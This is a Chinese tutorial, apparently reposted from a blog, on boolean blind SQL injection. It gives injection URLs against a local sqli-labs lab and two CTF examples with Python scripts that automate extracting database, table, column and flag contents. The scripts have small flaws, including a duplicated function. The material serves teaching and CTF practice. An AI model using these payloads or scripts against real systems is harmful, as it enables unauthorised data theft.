python 布尔注入原理及渗透过程示例

引文

之前有一篇文章给大家带来了SQL注入的基本知识点以及分类，包含的面比较广但是不深入，于是我准备详细讲讲每一种类型的SQL注入的详细利用方法以及场景，今天给大家带来的是布尔盲注，也是比较常用的一种注入方式。

基本知识

什么是布尔注入？

先了解一下什么是布尔盲注，在平常我们在网页输入SQL语句网页会给我们关于SQL语句的回显，比如SQL错报信息，我们根据这些错报信息去进行SQL注入，但你们有没有想过，如果当我们传入语句网站不会给我们回显时，我们该怎么办呢，这时我们引入布尔注入的概念，即通过一些判断语句来确认数据库的内部信息，可以看看下面的图：

有回显

无回显

下面就告诉大家如何在只有两种回显的页面，利用函数来实现我们的布尔盲注。

函数

下面给大家举例一下布尔盲注中常用的函数以及他们的作用：

length(str)：返回str字符串的长度。

substr(str, pos, len)：将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的，不是数组的0开始

mid(str,pos,len):跟上面的一样，截取字符串

ascii(str)：返回字符串str的最左面字符的ASCII代码值。

ord(str):同上，返回ascii码

if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0

当然这只是最常见的函数，当上面这些被禁用时，我们可以寻找其他的函数，下面给大家举例如何利用这些函数。

根据布尔型的规则，网页只给我们返回TRUE或者FALSE,那么我们像下面这样进行传参：

http://127.0.0.1/Less-8/?id=1'and (length(database()))>8 --+

判断数据库名字长度是否大于8，正确返回TRUE，错误返回FALSE。

注入过程

假如我们已经判断完数据库的名字长度，接下来就来猜测数据库的第一个字母是什么:

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>110#

我们可以根据二分法来进行判断，当我们ASCII为110返回为TRUE，111时为FALSE，我们就可以判断ASCII码为110对应的字符为数据库的第一个名称。关于ASCII对应的值可以参考下面的图：

同理我们修改匹配的数据库字段来查询第二个字符：

substr(database(),2,1)

查询出数据库的名字为security后我们按顺序查询表名的第一个字母：

1' and (ascii(substr((select table_name from information_schema.tables
where table_schema=''security limit 0,1),1,1)))>100 --+

最后得到表名为emails，于是我们查询字段值的第一个字母：

1' and (ascii(substr((select column_name from information_schema.columns
where table_name='emails'),1,1)))>100 --+

最后得到字段值。

大家有没有发现如果我们一个一个的试时间成本是不是很大，于是我们可以编写脚本来自动循环跑出来。下面会给大家带来例题。

例题

例题一

给了我们一个搜索框:

我们尝试输入后发现，输入1回显Hello, glzjin wants a girlfriend，输入2回显Do you want to be my girlfriend?，输入大于2的数回显：Error Occured When Fetch Result,而且还会检测我们语句过滤了union等关键字，但是没有过滤(),考虑布尔盲注。尝试构造PAYLOAD:

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

回显正常，可以进行SQL注入，我们利用脚本：

import requests
import time
import re
url='http://4f098f39-88d5-4922-afcc-06e3cfa8ac6e.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
   max = 127
   min = 0
   for c in range(0,127):
       s = (int)((max+min)/2)
       payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
       r = requests.post(url,data = {'id':payload})
       time.sleep(0.005)
       if 'Hello, glzjin wants a girlfriend.' in str(r.content):
           min=s
       else:
           max=s
       if((max-min)<=1):
           flag+=chr(max)
           print(flag)
           break

运行得到FLAG:

例题二

也是一个搜索框，我们分别输入1和1'，得到以下回显：

猜测是布尔注入，我们先查询数据库长度：

1 and length(database()) >5

得到数据库长度为4后，我们查询数据库名字：

1 and ascii(substr(database(),1,1))=115

得到库名为sqli，接下来就是查询表和字段等操作了，在网上找了一个脚本来让他自己跑：

import requests
# 爆库
def dataBaseName(url, mark):
   name = ''
   for i in range(1, 9):
       for j in "sqcwertyuioplkjhgfdazxvbnm":
           payload = url + "if(substr(database(),％d,1)='％s',1,0)" ％ (i, j)
           r = requests.get(payload)
           if mark in r.text:
               name = name + j
               print(name)
               break  
   print('数据库名:', name)
# 爆表
def table_name(url,mark):
   tableList = []
   for i in range(0,4):
       name = ''
       for j in range(1,9):
           for k in 'sqcwertyuioplkjhgfdazxvbnm':
               payload = url + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit ％d,1),％d,1)="％s",1,0)' ％(i,j,k)
               r = requests.get(payload)
               if mark in r.text:
                   name = name + k
                   print(name)
                   break
       tableList.append(name)
   print('table_name:',tableList)
# 爆字段
def column_name(url,mark):
   columnList = []
   for i in range(0,3):
       columnName = ''
       for j in range(1,9):
           for k in 'sqcwertyuioplkjhgfdazxvbnm':
               payload = url + 'if(substr((select column_name from information_schema.columns where table_name="flag" and table_schema = database() limit ％d,1),％d,1)="％s",1,0)' ％(i,j,k)
               r = requests.get(payload)
               if mark in r.text:
                   columnName += k
                   print(columnName)
                   break
       columnList.append(columnName)
   print("字段名：",columnList)
# 爆字段第一个行内容
def get_data(url,mark):
   data = ''
   for i in range(1,50):
       for j in range(48,126):
           payload = url + 'if(ascii(substr((select flag from flag),％d,1))=％d,1,0)' ％(i,j)
           r = requests.get(payload)
           if mark in r.text:
               data += chr(j)
               print(data)
               break
   print("字段第一个值",data)
# 爆字段前10行内容
def get_data(url,mark):
   dataList = []
   for i in range(1,10):
       data = ''
       for j in range(1,50):
           for k in range(48,126):
               payload = url + 'if(ASCII(SUBSTR((SELECT flag FROM `flag` limit ％d,1),％d,1))=％d,1,0)' ％(i,j,k)
               r = requests.get(payload)
               if mark in r.text:
                   data += chr(k)
                   print(data)
                   break
       dataList.append(data)
   print("字段前10行内容",dataList)
if __name__ == "__main__":
   url = "/?id="
   mark = "query_success"
   dataBaseName(url, mark)
   table_name(url, mark)
   column_name(url, mark)
   get_data(url,mark)

来源：https://juejin.cn/post/7155618397361799205